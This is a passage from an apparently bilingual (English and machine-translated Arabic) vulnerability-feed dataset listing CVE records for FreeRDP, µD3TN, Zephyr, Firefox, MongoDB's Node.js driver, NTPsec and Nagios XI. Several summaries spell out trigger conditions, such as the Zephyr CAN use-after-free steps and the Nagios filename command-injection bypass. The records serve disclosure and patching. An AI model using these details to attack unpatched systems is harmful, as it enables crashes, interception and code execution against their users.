الحجم الفاشل في gdi_resize_ex إلى ترك الشاشة الأساسية فارغة دون إنهاء الجلسة، لذا فإن تحديث الصورة لاحقًا يتسبب في تعطل العميل في gdi_Bitmap_Paint."},"refs":[["https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-c426-ppvf-jpfg","advisory"],["https://www.vulncheck.com/advisories/freerdp-before-3.32.2-x11-client-crash-via-zero-width-rdpgfx-resetgraphics","advisory"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"freerdp"},{"id":"CVE-2026-121400","cvss":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-835","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T14:28:03Z","product":"FreeRDP FreeRDP","affected":[["0 – <3.32.2","3.32.2"],[" – <3.32.2","3.32.2"]],"title":{"en":"FreeRDP before 3.32.2 CPU Exhaustion via RDG Control Packet","ar":"إرهاق وحدة المعالجة المركزية في FreeRDP قبل الإصدار 3.32.2 عبر حزمة تحكم RDG"},"summary":{"en":"FreeRDP before 3.32.2 contains a denial-of-service vulnerability in rdg_process_control_packet that allows a malicious RD Gateway to exhaust client CPU by sending an incomplete keepalive control packet. Attackers completing the RDG tunnel-open exchange then send an eight-byte header with packetLength 0xFFFF and withhold the body, causing an unbounded no-progress read loop that spins one client thread at full CPU.","ar":"يحتوي FreeRDP قبل الإصدار 3.32.2 على ثغرة حجب الخدمة في rdg_process_control_packet والتي تسمح لبوابة RD خبيثة باستنزاف وحدة المعالجة المركزية للعميل عن طريق إرسال حزمة تحكم إبقاء الاتصال (keepalive) غير مكتملة. يقوم المهاجمون الذين يكملون تبادل فتح نفق RDG بإرسال ترويسة من ثمانية بايتات مع packetLength 0xFFFF وحجب النص الأساسي، مما يتسبب في حلقة قراءة بلا تقدم غير محددة والتي تشغل خيط عميل واحد بأقصى طاقة لوحدة المعالجة المركزية."},"refs":[["https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-x4x6-2hrm-hvq9","advisory"],["https://www.vulncheck.com/advisories/freerdp-before-3.32.2-cpu-exhaustion-via-rdg-control-packet","advisory"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"freerdp"},{"id":"CVE-2026-121398","cvss":8.2,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-416","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T14:28:01Z","product":"FreeRDP FreeRDP","affected":[["0 – <3.32.2","3.32.2"],[" – <3.32.2","3.32.2"]],"title":{"en":"FreeRDP before 3.32.2 Use-After-Free via dyn-channel-dump Module","ar":"استخدام الذاكرة بعد تحريرها في FreeRDP قبل الإصدار 3.32.2 عبر وحدة dyn-channel-dump"},"summary":{"en":"FreeRDP before 3.32.2 contains a cross-thread use-after-free vulnerability in the freerdp-proxy dyn-channel-dump module during session teardown. A malicious RDP target can send dynamic channel data while the front client disconnects, letting the client thread read freed ChannelData and crash the proxy process.","ar":"يحتوي FreeRDP قبل الإصدار 3.32.2 على ثغرة استخدام الذاكرة بعد تحريرها عبر خيوط معالجة متعددة (cross-thread use-after-free) في وحدة freerdp-proxy dyn-channel-dump أثناء إنهاء الجلسة. يمكن لهدف RDP خبيث إرسال بيانات قناة ديناميكية بينما يقوم العميل الأمامي قطع الاتصال، مما يسمح لخيط العميل بقراءة ChannelData المحررة وتعطيل عملية الوكيل (proxy)."},"refs":[["https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-v3q2-qjvf-7rqw","advisory"],["https://www.vulncheck.com/advisories/freerdp-before-3.32.2-use-after-free-via-dyn-channel-dump-module","advisory"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"freerdp"},{"id":"CVE-2026-121394","cvss":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-617","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T14:27:59Z","product":"FreeRDP FreeRDP","affected":[["3.11.0 – <3.32.2","3.32.2"]],"title":{"en":"FreeRDP before 3.32.2 Denial of Service via RemoteFX RLGR decoder","ar":"حجب الخدمة في FreeRDP قبل الإصدار 3.32.2 عبر فك تشفير RemoteFX RLGR"},"summary":{"en":"FreeRDP from 3.11.0 before 3.32.2 contains an assertion failure in the RemoteFX RLGR decoder that allows malicious servers to terminate clients. Attackers controlling an RDP server can send a RemoteFX tileset with RLGR code 32767, triggering a signed narrowing assertion in rfx_rlgr_decode and crashing the client.","ar":"يحتوي FreeRDP من الإصدار 3.11.0 وقبل الإصدار 3.32.2 على فشل في تأكيد الصحة (assertion failure) في فك تشفير RemoteFX RLGR مما يسمح للخوادم الخبيثة بإنهاء عمل العملاء. يمكن للمهاجمين الذين يتحكمون في خادم RDP إرسال مجموعة بلاط (tileset) لـ RemoteFX مع رمز RLGR 32767، مما يؤدي إلى تشغيل تأكيد تضييق موقّع في rfx_rlgr_decode وتعطيل العميل."},"refs":[["https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-5j39-x36c-x9pm","advisory"],["https://www.vulncheck.com/advisories/freerdp-before-3.32.2-denial-of-service-via-remotefx-rlgr-decoder","advisory"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"freerdp"},{"id":"CVE-2026-121395","cvss":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-617","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T14:27:59Z","product":"FreeRDP FreeRDP","affected":[["3.17.0 – <3.32.2","3.32.2"]],"title":{"en":"FreeRDP 3.17.0 before 3.32.2 Denial of Service via RemoteFX Decoder","ar":"حجب الخدمة في FreeRDP 3.17.0 قبل الإصدار 3.32.2 عبر فك تشفير RemoteFX"},"summary":{"en":"FreeRDP from 3.17.0 before 3.32.2 contains an assertion failure in the RemoteFX differential decoder when verbose WinPR assertions are enabled. A malicious RDP server can send a crafted RemoteFX tile with adjacent LL3 coefficients summing beyond signed 16-bit range to abort the client process.","ar":"يحتوي FreeRDP من الإصدار 3.17.0 وقبل الإصدار 3.32.2 على فشل في تأكيد الصحة في فك التشفير التفاضلي لـ RemoteFX عند تمكين تأكيدات WinPR المفصلة. يمكن لخادم RDP خبيث إرسال بلاطة RemoteFX معدلة مع معاملات LL3 متجاورة يبلغ مجموعها ما يتجاوز نطاق 16 بت الموقّع لإلغاء عملية العميل."},"refs":[["https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-cg4f-57hc-v7w7","advisory"],["https://www.vulncheck.com/advisories/freerdp-3.17.0-before-3.32.2-denial-of-service-via-remotefx-decoder","advisory"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"freerdp"},{"id":"CVE-2026-121393","cvss":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-617","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T14:27:58Z","product":"FreeRDP FreeRDP","affected":[["3.0.0 – <3.32.2","3.32.2"]],"title":{"en":"FreeRDP 3.0.0 before 3.32.2 Denial of Service via RemoteFX Region Assertion","ar":"حجب الخدمة في FreeRDP 3.0.0 قبل الإصدار 3.32.2 عبر تأكيد منطقة RemoteFX"},"summary":{"en":"FreeRDP from 3.0.0 before 3.32.2 contains a denial of service vulnerability that allows malicious RDP servers to abort clients built with verbose WinPR assertions by sending crafted RemoteFX region rectangles. Attackers can supply a rectangle with x set to 65535 alongside a SurfaceBits destination left of 1, triggering a 16-bit coordinate assertion in rfx_process_message that terminates the client process.","ar":"يحتوي FreeRDP من الإصدار 3.0.0 وقبل الإصدار 3.32.2 على ثغرة حجب الخدمة التي تسمح لخوادم RDP الخبيثة بإلغاء العملاء المبنيين باستخدام تأكيدات WinPR المفصلة عن طريق إرسال مستطيلات منطقة RemoteFX معدلة. يمكن للمهاجمين توفير مستطيل مع ضبط x على 65535 إلى جانب وجهة SurfaceBits إلى يسار 1، مما يؤدي إلى تشغيل تأكيد إحداثيات 16 بت في rfx_process_message مما يؤدي إلى إنهاء عملية العميل."},"refs":[["https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-7qw2-8h66-pvpw","advisory"],["https://www.vulncheck.com/advisories/freerdp-3.0.0-before-3.32.2-denial-of-service-via-remotefx-region-assertion","advisory"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"freerdp"},{"id":"CVE-2026-121392","cvss":9.1,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","cwe":"CWE-295","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T14:27:57Z","product":"FreeRDP FreeRDP","affected":[["0 – <3.32.2","3.32.2"],[" – <3.32.2","3.32.2"]],"title":{"en":"FreeRDP before 3.32.2 Certificate Identity Validation Bypass via tls_verify_certificate","ar":"تجاوز التحقق من هوية الشهادة في FreeRDP قبل الإصدار 3.32.2 عبر tls_verify_certificate"},"summary":{"en":"FreeRDP before 3.32.2 contains an improper certificate validation vulnerability in tls_verify_certificate() that accepts Common Name fallback despite non-matching SAN entries and matches IP literals against DNS strings. Man-in-the-middle attackers holding a certificate from a client-trusted CA can bypass server identity checks to intercept RDP sessions, including keystrokes, clipboard, and screen content.","ar":"يحتوي FreeRDP قبل الإصدار 3.32.2 على ثغرة تحقق غير سليم من الشهادة في الدالة tls_verify_certificate() والتي تقبل الرجوع إلى الاسم المشترك (Common Name) على الرغم من عدم مطابقة إدخالات SAN وتطابق نصوص IP الحرفية مقابل سلاسل DNS. يمكن لمهاجمي رجل في المنتصف (man-in-the-middle) الذين يحملون شهادة من مرجع مصادقة موثوق به من العميل تجاوز فحوصات هوية الخادم اعتراض جلسات RDP، بما في ذلك ضغطات المفاتيح، والحافظة، ومحتوى الشاشة."},"refs":[["https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-jq25-3374-4262","advisory"],["https://www.vulncheck.com/advisories/freerdp-before-3.32.2-certificate-identity-validation-bypass-via-tls-verify-certificate","advisory"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"freerdp"},{"id":"CVE-2026-121388","cvss":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-770","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T14:27:55Z","product":"FreeRDP FreeRDP","affected":[["3.0.0 – <3.32.2","3.32.2"]],"title":{"en":"FreeRDP 3.0.0 before 3.32.2 Uncapped Memory Allocation via DRDYNVC DATA_FIRST","ar":"تخصيص الذاكرة غير المقيد في FreeRDP 3.0.0 قبل الإصدار 3.32.2 عبر DRDYNVC DATA_FIRST"},"summary":{"en":"FreeRDP from 3.0.0 before 3.32.2 contains an uncontrolled resource allocation vulnerability that allows malicious RDP servers to force large client allocations through the DRDYNVC DATA_FIRST Length field. Attackers can declare lengths up to 4,294,967,295 bytes on running dynamic channels, causing StreamPool_Take to reserve memory before body validation and exhaust client memory.","ar":"يحتوي FreeRDP من الإصدار 3.0.0 وقبل الإصدار 3.32.2 على ثغرة تخصيص موارد غير مسيطر عليها والتي تسمح لخوادم RDP الخبيثة فرض تخصيصات عميل كبيرة من خلال حقل الطول DRDYNVC DATA_FIRST Length. يمكن للمهاجمين إعلان أطوال تصل إلى 4,294,967,295 بايت على القنوات الديناميكية قيد التشغيل، مما يتسبب في حجز StreamPool_Take للذاكرة قبل التحقق من صحة النص الأساسي واستنفاد ذاكرة العميل."},"refs":[["https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-rrp5-666j-g6gp","advisory"],["https://www.vulncheck.com/advisories/freerdp-3.0.0-before-3.32.2-uncapped-memory-allocation-via-drdynvc-data-first","advisory"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"freerdp"},{"id":"CVE-2026-121386","cvss":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-248","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T14:27:53Z","product":"FreeRDP FreeRDP","affected":[["0 – <3.32.2","3.32.2"],[" – <3.32.2","3.32.2"]],"title":{"en":"FreeRDP before 3.32.2 Denial of Service via WinPR PNG/JPEG Image Readers","ar":"حجب الخدمة في FreeRDP قبل الإصدار 3.32.2 عبر قارئات صور PNG/JPEG في WinPR"},"summary":{"en":"FreeRDP before 3.32.2 contains a denial of service vulnerability in WinPR's winpr_read_png_from_buffer() and winpr_convert_from_jpeg(), which lack libpng/libjpeg error handling. A malicious RDP server or MITM can offer a malformed PNG or truncated JPEG clipboard payload, causing the client to abort or exit.","ar":"يحتوي FreeRDP قبل الإصدار 3.32.2 على ثغرة حجب الخدمة في دالتي winpr_read_png_from_buffer() و winpr_convert_from_jpeg() في WinPR، اللتين تفتقران إلى معالجة أخطاء libpng/libjpeg. يمكن لخادم RDP خبيث أو مهاجم رجل في المنتصف تقديم حمولة حافظة PNG مشوهة أو JPEG مبتورة، مما يتسبب في إلغاء العميل أو خروجه."},"refs":[["https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-799q-hjgw-g55g","advisory"],["https://www.vulncheck.com/advisories/freerdp-before-3.32.2-denial-of-service-via-winpr-png-jpeg-image-readers","advisory"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"freerdp"},{"id":"CVE-2026-121513","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-787","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T14:18:29Z","product":"D3TN GmbH µD3TN","affected":[["0 – <0.15.2","0.15.2"]],"title":{"en":"Out-of-bounds Write in µD3TN","ar":"كتابة خارج الحدود في µD3TN"},"summary":{"en":"Off-by-one Heap Overflow in µD3TN v0.15.1 SPP Parser allows Unauthenticated Remote Attacker to Reliably Cause DoS","ar":"يسمح فيضان المخزن المؤقت للكومة بفارق واحد في محلل SPP لـ µD3TN الإصدار v0.15.1 لمهاجم عن بُعد دون مصادقة بالتسبب في حجب الخدمة بشكل موثوق."},"refs":[["https://gitlab.com/d3tn/ud3tn/-/work_items/288","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"d3tn-gmbh-d3tn"},{"id":"CVE-2026-121512","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-401","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T14:18:19Z","product":"D3TN GmbH µD3TN","affected":[["0 – <0.15.2","0.15.2"]],"title":{"en":"Missing Release of Memory after Effective Lifetime in µD3TN","ar":"عدم إطلاق الذاكرة بعد العمر الافتراضي الفعال في µD3TN"},"summary":{"en":"Memory Leak with Amplification in µD3TN BPv6 EID Reference Handling allows Unauthenticated Remote Attacker to Cause DoS","ar":"تسريب الذاكرة مع التضخيم في معالجة مرجع BPv6 EID لـ µD3TN يسمح لمهاجم عن بُعد دون مصادقة بالتسبب في حجب الخدمة."},"refs":[["https://gitlab.com/d3tn/ud3tn/-/work_items/292","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"d3tn-gmbh-d3tn"},{"id":"CVE-2026-121511","cvss":7.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H","cwe":"CWE-125","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T14:18:14Z","product":"D3TN GmbH µD3TN","affected":[["0 – <0.15.2","0.15.2"]],"title":{"en":"Out-of-bounds Read in µD3TN","ar":"قراءة خارج الحدود في µD3TN"},"summary":{"en":"Heap Out-of-Bounds Read in µD3TN BPv6/BPv7 Fragmenter allows Local Attacker to Read Memory and Reliably Cause DoS","ar":"قراءة الكومة خارج الحدود في مجزئ BPv6/BPv7 لـ µD3TN تسمح لمهاجم محلي بقراءة الذاكرة والتسبب في حجب الخدمة بشكل موثوق."},"refs":[["https://gitlab.com/d3tn/ud3tn/-/work_items/290","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"d3tn-gmbh-d3tn"},{"id":"CVE-2026-121510","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-787","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T14:18:09Z","product":"D3TN GmbH µD3TN","affected":[["0 – <0.15.2","0.15.2"]],"title":{"en":"Out-of-bounds Write in µD3TN","ar":"كتابة خارج الحدود في µD3TN"},"summary":{"en":"Remote Unauthenticated Heap Out-of-Bounds Write in µD3TN BPv6 Administrative Record Parser allows Unauthenticated Remote Attacker to Reliably Cause DoS","ar":"تسمح كتابة الكومة عن بُعد خارج الحدود دون مصادقة في محلل السجل الإداري BPv6 لـ µD3TN لمهاجم عن بُعد دون مصادقة بالتسبب في حجب الخدمة بشكل موثوق."},"refs":[["https://gitlab.com/d3tn/ud3tn/-/work_items/289","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"d3tn-gmbh-d3tn"},{"id":"CVE-2026-85035","cvss":8.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-416","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T14:17:39Z","product":"zephyrproject zephyr","affected":[["1.14.0 – <4.3.2","4.3.2"],["4.4.0 – <4.5.0","4.5.0"]],"title":{"en":"Use-after-free via dynamically allocated message queue retained by the CAN RX filter","ar":"استخدام الذاكرة بعد تحريرها عبر صف رسائل مخصص ديناميكيًا تحتفظ به تصفية CAN RX"},"summary":{"en":"The can_add_rx_filter_msgq() system call installs a CAN RX filter whose callback (can_msgq_put() in drivers/can/can_common.c) is handed the caller's struct k_msgq * as user_data. The controller driver stores that raw pointer in its filter table and dereferences it from the RX path every time a matching frame arrives. The system call verifier z_vrfy_can_add_rx_filter_msgq() in drivers/can/can_handlers.c validated the queue only with K_SYSCALL_OBJ(), which is a point-in-time check of type, initialization and caller permission and says nothing about the object's lifetime. On a build with CONFIG_USERSPACE=y and CONFIG_DYNAMIC_OBJECTS=y, an unprivileged user-mode thread that has been granted access to a CAN device can obtain a message queue whose lifetime it fully controls: k_object_alloc(K_OBJ_MSGQ) followed by k_msgq_alloc_init(). The lifetime of such an object is driven solely by its permission bitmask, and a pointer retained by the kernel is not represented there. After registering the filter, the thread calls k_object_release() — or simply terminates — and unref_check() frees the struct k_msgq storage while the CAN driver still holds the pointer. The next matching CAN frame causes k_msgq_put() to run in supervisor context against freed memory that the attacker can have groomed with another kernel allocation: the frame payload is memcpy()d through the reused block's write_ptr, and the queue's wait_q (and poll_events under CONFIG_POLL) list nodes are manipulated. This yields kernel-heap corruption reachable from a user-mode thread, defeating the isolation CONFIG_USERSPACE is intended to provide; the same dangling pointer also arises benignly when an application thread exits without calling can_remove_rx_filter(). The fix validates the queue with K_SYSCALL_OBJ_STATIC(), which additionally rejects objects carrying K_OBJ_FLAG_ALLOC, so only statically defined queues (CAN_MSGQ_DEFINE()) may be registered from user mode. Supervisor-mode callers bypass the verifier and mus…","ar":"يقوم استدعاء النظام can_add_rx_filter_msgq() بتثبيت تصفية CAN RX يتم تسليم رد الاتصال الخاص بها (can_msgq_put() في drivers/can/can_common.c) إلى struct k_msgq الخاص بالمتصل كـ user_data. يخزن برنامج تشغيل وحدات التحكم هذا المؤشر الخام في جدول التصفية الخاص به ويقوم بإلغاء الإشارة إليه من مسار RX في كل مرة تصل فيها إطار مطابق. قام محقق استدعاء النظام z_vrfy_can_add_rx_filter_msgq() في drivers/can/can_handlers.c التحقق من صحة قائمة الانتظار فقط باستخدام K_SYSCALL_OBJ()، وهو فحص في نقطة زمنية للنوع والتهيئة وأذونات المتصل ولا يقدم أي معلومات حول عمر الكائن. في الإصدارات التي تحتوي على CONFIG_USERSPACE=y و CONFIG_DYNAMIC_OBJECTS=y، يمكن لخيط وضع المستخدم غير الممتياز الذي تم منح حق الوصول إليه لجهاز CAN الحصول على قائمة رسائل يتحكم في عمرها بالكامل: k_object_alloc(K_OBJ_MSGQ) يليه k_msgq_alloc_init(). يتم تحديد عمر مثل هذا الكائن فقط بواسطة قناع بتات الأذونات الخاص به، ولا يتم تمثيل المؤشر المحتفظ به بواسطة النواة هناك. بعد تسجيل التصفية، يقوم الخيط باستدعاء k_object_release() — أو ينتهي ببساطة — ويقوم unref_check() بتحرير تخزين struct k_msgq بينما لا يزال برنامج تشغيل CAN يحتفظ بالمؤشر. يتسبب إطار CAN المطابق التالي في تشغيل k_msgq_put() في سياق المشرف مقابل الذاكرة المحررة التي يمكن للمهاجم تهيئتها بتخصيص نواة أخرى: يتم نسخ حمولة الإطار memcpy() عبر write_ptr للكتلة المُعادة استخدامها، ويتم التلاعب بعقد قائمة wait_q الخاصة بقائمة الانتظار (و poll_events تحت CONFIG_POLL). ينتج عن هذا تلف في كومة النواة يمكن الوصول إليه من خيط وضع المستخدم، مما يحبط العزل الذي تهدف CONFIG_USERSPACE إلى توفيره؛ ينشأ نفس المؤشر المتدلي أيضًا بشكل حميد عندما ينتهي خيط التطبيق دون استدعاء can_remove_rx_filter(). يقوم الإصلاح بالتحقق من صحة قائمة الانتظار باستخدام K_SYSCALL_OBJ_STATIC()، والذي يرفض بالإضافة إلى ذلك الكائنات التي تحمل K_OBJ_FLAG_ALLOC، بحيث يمكن فقط قوائم الانتظار المحددة ثابتًا (CAN_MSGQ_DEFINE()) تسجيلها من وضع المستخدم. يتجاوز المتصلون في وضع المشرف المحقق..."},"refs":[["https://github.com/zephyrproject-rtos/zephyr/commit/0114bee266211c72a49f3b6a914d3eaf821dd460","patch"],["https://github.com/zephyrproject-rtos/zephyr/security/advisories/GHSA-6pxv-r7ww-3g2q","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"zephyrproject-zephyr"},{"id":"CVE-2026-120572","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-119","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T14:17:35Z","product":"Mozilla Firefox","affected":[],"title":{"en":"Incorrect boundary conditions in the Layout: Block and Inline component","ar":"شروط حدود غير صحيحة في مكون التخطيط (Layout: Block and Inline)"},"summary":{"en":"Incorrect boundary conditions in the Layout: Block and Inline component. This vulnerability was fixed in Firefox 159.0.1.","ar":"تم العثور على شروط حدود غير صحيحة في مكون التخطيط (Layout: Block and Inline). تم تصحيح هذه الثغرة في Firefox 159.0.1."},"refs":[["https://bugzilla.mozilla.org/show_bug.cgi?id=2079035","ref"],["https://www.mozilla.org/security/advisories/mfsa2026-123/","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"mozilla-firefox"},{"id":"CVE-2026-119179","cvss":7,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:L","cwe":"CWE-226","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T14:17:33Z","product":"MongoDB Node.js Driver","affected":[["6.11.0 – <6.22.0","6.22.0"],["7.0.0 – <7.8.0","7.8.0"]],"title":{"en":"MongoDB Node.js driver: Connection pool desynchronization after operation timeout can expose other user's data","ar":"مشغل MongoDB Node.js: عدم مزامنة مجمع الاتصالات بعد انتهاء مهلة العملية يمكن أن يكشف بيانات المستخدمين الآخرين"},"summary":{"en":"A flaw in the connection management layer of the MongoDB Node.js driver can leave a pooled network connection in the pool for reuse while data from an earlier operation is still outstanding on it. In applications that enable an optional client-side operation timeout, an unauthenticated party that can send ordinary requests to the application may cause database replies to be paired with the wrong requests. This may result in unintended disclosure of other users' records, incorrect operation results being returned, and failures of legitimate requests.","ar":"خلل في طبقة إدارة الاتصالات في مشغل MongoDB Node.js يمكن أن يترك اتصال شبكة مُجمّع في المجمع لإعادة الاستخدام بينما لا تزال البيانات من عملية سابقة معلقة عليه. في التطبيقات التي تمكن مهلة عملية اختيارية من جانب العميل، يمكن لطرف غير مصدق يمكنه إرسال طلبات عادية إلى التطبيق أن يتسبب في إقران ردود قاعدة البيانات بالطلبات الخاطئة. قد ينتج عن ذلك الكشف غير المقصود عن سجلات المستخدمين الآخرين، وإرجاع نتائج عملية غير صحيحة، وفشل الطلبات المشروعة."},"refs":[["https://jira.mongodb.org/browse/NODE-7958","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"mongodb-node-js-driver"},{"id":"CVE-2026-121506","cvss":7.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H","cwe":"CWE-787","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T14:17:24Z","product":"NTPsec NTPsec","affected":[["1.1.4 – <1.2.5","1.2.5"]],"title":{"en":"Out-of-bounds Write in NTPsec","ar":"قراءة وكتابة خارج الحدود في NTPsec"},"summary":{"en":"An out-of-bounds read and write in NTS client extension field parsing (extens_client_recv) in NTPsec before 1.2.5 allows a remote attacker who can send NTP server-mode replies to an NTS client to corrupt heap memory and crash ntpd, and, combined with the NTS-KE client out-of-bounds read fixed in 1.2.4, to bypass NTS authentication and set the client's time, via an NTS Authenticator and Encrypted Extension Fields field whose nonce length exceeds the field.","ar":"تسمح القراءة والكتابة خارج الحدود في تحليل حقل امتداد عميل NTS (extens_client_recv) في NTPsec قبل الإصدار 1.2.5 لمهاجم عن بُعد يمكنه إرسال ردود وضع خادم NTP إلى عميل NTS بتلف ذاكرة الكومة وتعطل ntpd، وعند دمجها مع قراءة الكومة خارج الحدود لعميل NTS-KE التي تم إصلاحها في الإصدار 1.2.4، بتجاوز مصادقة NTS وتعيين وقت العميل، عبر حقل مُصادق NTS وحقول الامتداد المشفرة التي يتجاوز طول الرمز المميز (nonce) الخاص بها الحقل."},"refs":[["https://gitlab.com/NTPsec/ntpsec/-/commit/0a36941e499d533dfbc3fb6b1fcd8c367679d719","ref"],["https://gitlab.com/NTPsec/ntpsec/-/work_items/902","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"ntpsec"},{"id":"CVE-2026-119742","cvss":8.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-78","tags":["RCE"],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T13:43:57Z","product":"Nagios Enterprises, LLC Nagios XI","affected":[["0 – <2026R2","2026R2"]],"title":{"en":"Nagios XI < 2026R2 OS Command Injection via mibs.php","ar":"ثغرة حقن أوامر نظام التشغيل في Nagios XI < 2026R2 عبر mibs.php"},"summary":{"en":"Nagios XI before 2026R2 contains an OS command injection vulnerability in the MIB upload feature where the install_mib() function in mibs.php sanitizes uploaded filenames with an incomplete character deny-list that omits semicolons and pipes before passing them to a grep command executed via exec(). An authenticated administrator can upload a MIB file with a crafted filename using tab characters to bypass the deny-list and pipe to sh via a multipart POST request to mibs.php, resulting in arbitrary OS command execution as the web server user.","ar":"يحتوي منتج Nagios XI في الإصدارات السابقة لـ 2026R2 على ثغرة حقن أوامر نظام التشغيل في ميزة رفع ملفات MIB حيث تقوم دالة install_mib() في ملف mibs.php بتنقية أسماء الملفات المرفوعة باستخدام قائمة حظر رموز غير مكتملة تتجاهل الفاصلة المنقطعة وعلامة الأنبوب قبل تمريرها إلى أمر grep المنفذ عبر دالة exec(). يمكن لمسؤول مصادق عليه رفع ملف MIB باسم ملف مصمم بعناية باستخدام رموز الجدولة لتجاوز قائمة الحظر والتوجيه إلى sh عبر طلب POST متعدد الأجزاء إلى ملف mibs.php، مما ينتج عنه تنفيذ أوامر نظام تشغيل عشوائية بصلاحيات مستخدم خادم 